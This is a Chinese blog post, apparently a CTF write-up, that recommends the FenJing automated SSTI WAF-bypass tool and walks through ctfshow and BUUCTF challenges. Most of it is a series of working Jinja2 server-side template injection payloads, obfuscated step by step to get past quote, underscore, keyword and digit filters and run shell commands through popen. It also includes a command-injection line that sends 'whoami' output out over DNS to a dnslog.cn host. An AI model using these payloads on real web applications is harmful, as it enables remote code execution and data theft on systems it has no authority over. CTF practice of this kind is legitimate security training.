ssti自动化绕WAF工具
CTF SSTI全自动绕WAF工具推荐
链接地址:https://github.com/Marven11/FenJing
- 集成了大部分CTF中的SSTI WAF绕过技巧
- 全自动爆破API参数并攻击
- 全自动分析网站的WAF并生成相应的payload
- 支持攻击对应的HTML表单或HTTP路径
- 支持将payload放进GET参数中提交,有效降低payload长度
- 自动检测关键字替换并绕过
作者推荐安装方式
使用pipx安装运行(推荐)
# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
使用pip安装运行
pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
安装完成之后使用
webui(本人推荐,比较方便)
在终端中输入:
fenjing webui
之后会弹出一个页面,如下

工具使用

注意:该脚本不支持https协议、无回显SSTI
打靶测试
ctfshow
web361 (无过滤)


成功拿到RCE
web362(过滤了2、3等数字,os._wrap_close)


payload:
{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
web363(过滤了单引号、双引号)


payload:
{%set os=dict(OS=x)|first|lower%}{%set ls=dict(LS=x)|first|lower%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ls).read()}}
web364(过滤了单双引号,args)

payload:
{%set os=dict(OS=x)|first|lower%}{%set ak=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((ak+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ca).read()}}
web365(过滤单双引号、args、[])


payload:
{%set os=dict(OS=x)|first|lower%}{%set ir=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((ir+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ca).read()}}
web366(过滤了单双引号、args、中括号[]、下划线)


payload:
{%set yg=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set os=dict(OS=x)|first|lower%}{%set in=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((in+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{(((cycler.next|attr(yg+yg+gl+yg+yg)|attr(yg+yg+ge+yg+yg))(yg+yg+bu+yg+yg)|attr(yg+yg+ge+yg+yg))(yg+yg+im+yg+yg))(os).popen(ca).read()}}
web367(过滤了单双引号、args、中括号[]、下划线、os)


payload:
{%set na=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set qr=dict(so=x)|first|reverse%}{%set hc=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((hc+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{(((cycler.next|attr(na+na+gl+na+na)|attr(na+na+ge+na+na))(na+na+bu+na+na)|attr(na+na+ge+na+na))(na+na+im+na+na))(qr).popen(ca).read()}}
web368(过滤单双引号、args、中括号[]、下划线、os、{{)


payload:
{%set rl=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set gq=dict(so=x)|first|reverse%}{%set te=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((te+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{%print (((cycler.next|attr(rl+rl+gl+rl+rl)|attr(rl+rl+ge+rl+rl))(rl+rl+bu+rl+rl)|attr(rl+rl+ge+rl+rl))(rl+rl+im+rl+rl))(gq).popen(ca).read()%}
web369(过滤单双引号、args、中括号[]、下划线、os、{{、request)


payload:
{%set pq=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set xc=dict(so=x)|first|reverse%}{%set qs=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((qs+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{%print (((cycler.next|attr(pq+pq+gl+pq+pq)|attr(pq+pq+ge+pq+pq))(pq+pq+bu+pq+pq)|attr(pq+pq+ge+pq+pq))(pq+pq+im+pq+pq))(xc).popen(ca).read()%}
web370(过滤数字)


payload:
{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set tf=dict(so=x)|first|reverse%}{%set mx=lipsum()|urlencode|first%}{%set eb=namespace|escape|urlencode|escape|urlencode|count%}{%set fe=dict(aaaaa=x)|first|length%}{%set dw=(mx+dict(c=x)|join)%((eb+fe))%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ul=joiner|urlencode|wordcount%}{%set qs=dict(a=x,b=x,c=x)|length%}{%set fb=namespace|escape|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ca=dict(CAT=x)|first|lower+((mx+dict(c=x)|join)*bb)%(lla+lla+ul+qs,fb+la,eb+lla+la,eb+lla+ul,eb+ul,eb+lla+la+la)%}{%print (((cycler.next|attr(dw+dw+gl+dw+dw)|attr(dw+dw+ge+dw+dw))(dw+dw+bu+dw+dw)|attr(dw+dw+ge+dw+dw))(dw+dw+im+dw+dw))(tf).popen(ca).read()%}
web371(无回显)

这里我拿我的服务器做个反弹shell

没能成功反弹出来
换个方式利用dns外带出来
命令
ip=|curl `whoami`.bxfshc.dnslog.cn

dns也带不出来

那cp到当前目录了

访问不出,到这里应该是无回显不出网的题型了,那就试试输出到app.py
也不行,应该是我实力不够,找不到原因啊
BUUCTF
[Flask]SSTI



[第三章 web进阶]SSTI 1




[Dest0g3 520迎新赛]EasySSTI 1
随便输入点什么

发现跳转到这

f12查看

发现两个参数 直接丢到fenjing webui中




浙公网安备 33010602011771号